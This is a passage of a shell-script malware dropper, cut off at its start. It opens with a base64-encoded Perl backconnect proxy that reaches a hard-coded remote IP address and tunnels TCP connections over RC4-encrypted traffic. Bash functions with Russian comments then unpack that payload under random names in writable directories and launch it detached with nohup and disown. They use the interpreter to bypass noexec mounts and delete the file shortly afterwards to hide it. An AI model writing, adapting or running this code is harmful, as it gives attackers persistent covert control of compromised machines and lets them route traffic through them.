TA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c690dcd1() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MD